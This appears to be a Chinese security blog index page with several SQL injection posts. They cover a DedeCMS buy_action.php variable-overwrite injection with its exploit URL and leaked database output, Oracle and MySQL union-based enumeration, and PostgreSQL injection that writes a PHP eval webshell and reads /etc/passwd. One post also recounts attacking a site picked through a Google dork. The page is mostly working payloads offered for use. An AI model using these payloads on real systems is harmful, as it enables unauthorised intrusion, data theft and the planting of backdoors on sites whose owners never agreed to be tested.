2011年8月12日
admin 1,057 views
好久没更新博客,再丢一个鸡肋。最近dedecms的那个变量覆盖漏洞很火貌似。可惜我还没研究透怎么利用好就被爆了,在人家手里好多年都不爆,有的家伙不知道是自己发现还是捡到了或者别人泄漏了就爆了~~~额真不和谐~~~
dedecms又一个magic_quote_gpc=Off的时候_RunMagicQuotes函数不起作用的例子。
by c4rp3nt3r@0x50sec.org
2011年5月
DedeCms 所有版本 buy_action.php注射漏洞
利用条件 magic_quote_gpc=Off
变量覆盖后存在注射漏洞
所有存在parse_str(mchStrCode($XX,DECODE),$YY)的地方都是危险的。
SB的Dedecms害怕变量覆盖不了,还紧跟foreach循环强制覆盖。
注意parse_str函数会受magic_quotes_gpc的影响。
12 echo '------------------------';
13 echo "pd_encode: ".$pd_encode.' cfg_cookie_encode: '.$cfg_cookie_encode;
14 echo '~~~~~~~~~~~~~~~~~~~~~~~~';
15 echo md5("payment".$pd_encode.$cfg_cookie_encode);
16
17 if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode)
== $pd_verify)
18 {
19
20 parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post); //非常和谐
21
22 foreach($mch_Post as $k => $v) $$k = $v; //非常和谐
23 $row = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 A
ND product='$product'");
./data/sys_pay.cache.php
32 function mchStrCode($string,$action=’ENCODE’)
33 {
34 $key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
35 $string = $action == ‘ENCODE’ ? $string : base64_decode($string);
36 $len = strlen($key);
37 $code = ”;
38 for($i=0; $i<strlen($string); $i++)
39 {
40 $k = $i % $len;
41 $code .= $string[$i] ^ $key[$k];
42 }
43 $code = $action == ‘DECODE’ ? $code : base64_encode($code);
44 return $code;
45 }
dedecms 报错最新版本有许多注射漏洞。
Error page:
/x/upload/member/buy_action.php?pd_encode=BxAAXQVSUVQHAxZeX11fEBRWDwFDU0BDRlABEkZSWkwHHwUbAgoN
VVlDHAEaVgkfHk8HRUdeDgtLHxEeHRFZQwADEFxfQ1JD&pd_veri
fy=0abb4ffcdc6379fcbaa6d0ac38aa71d6
Error infos: XPATH syntax error: ‘ 5.1.41-3ubuntu12.10′
Error sql: SELECT * FROM dede_member_operation WHERE mid=” and
extractvalue(1,concat(0×09,(version()))) limit 0,1;
只不过是个鸡肋
2010年10月9日
admin 1,634 views
作者:不详
来源:不详
判断是否为Oralce数据库:
And 0<>(select count(*) from dual) 返回正常页面表示为Oracle数据库
猜解字段数量:
使用order by 或者group by逐个提交数字 知道回显错误页面
列出字段数目 比如6个字段数目
and 1=1 null,null,null,null,null,null from dual-
因为ORACLE数据库是不自动匹配数据类型的,而null可以匹配任意数据类型,所以这样提交不会报错。 提交它返回了正常页面.
检测当前字段的数据类型,在null的前后加上‘’引号,如果返回正常则说明该字段为字符型,如果返回错误有可能是数字型的,如果不是数字型,那么就是其它类型
例如提交语句: and 1=1 union select null,’null’,null,’null’,null,’null’ from dual–
读取Oracle数据库版本:
把回显的数字替换成 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,’4′,5,’6′ from dual–
阅读全文…
2010年3月30日
xion 1,450 views
因为mysql5有information_schema数据库。就以前好像在哪看到过,今天自己找了下在information_schema.tables和information_schema.columns有个TABLE_SCHEMA变量可以限制数据库而非SCHEMA_NAME,记一下。
列数据库:
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA;
列某数据库的表名:
select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA=0x73716c696e;
列当前数据库的表名:
select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA=database();
列某数据库某表的字段名:
select group_concat(column_name) from information_schema.columns where table_name=0x61646d696e and TABLE_SCHEMA=0x73716c696e;
2010年3月28日
admin 2,189 views
来源:http://hi.baidu.com/p3rlish/blog/item/f3f96d1f71b97cfee0fe0bd7.html
转自:影子牛
如何获得webshell
http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);
http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$);
http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;
如何读文件
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;
http://127.0.0.1/postgresql.php?id=1;select * from myfile;
阅读全文…
2010年3月4日
root 2,091 views
大家好我是xxx,闲着无聊找个网站练练手,请出google “inurl:php?id=80 site:XXX 关键字”
很快找到一个有漏洞的网站:
http://www.hacked.cn/autocar/show.php?id=42
加”‘”,网页部分内容消失。and 1=1 正常;and 1=2消失。存在注入漏洞,好就件捡软柿子捏!
判断mysql版本:
http://www.hacked.cn/autocar/show.php?id=42 and substring(@@version,1,1)=4正常
http://www.hacked.cn/autocar/show.php?id=42 and substring(@@version,1,1)=5不正常。
order by 1;order by 2正常,order by 3不正常。字段2个。
检测基本信息:
http://www.hacked.cn/autocar/show.php?id=-42 union select concat(@@version,0x3a,database(),0x3a,user()),2
阅读全文…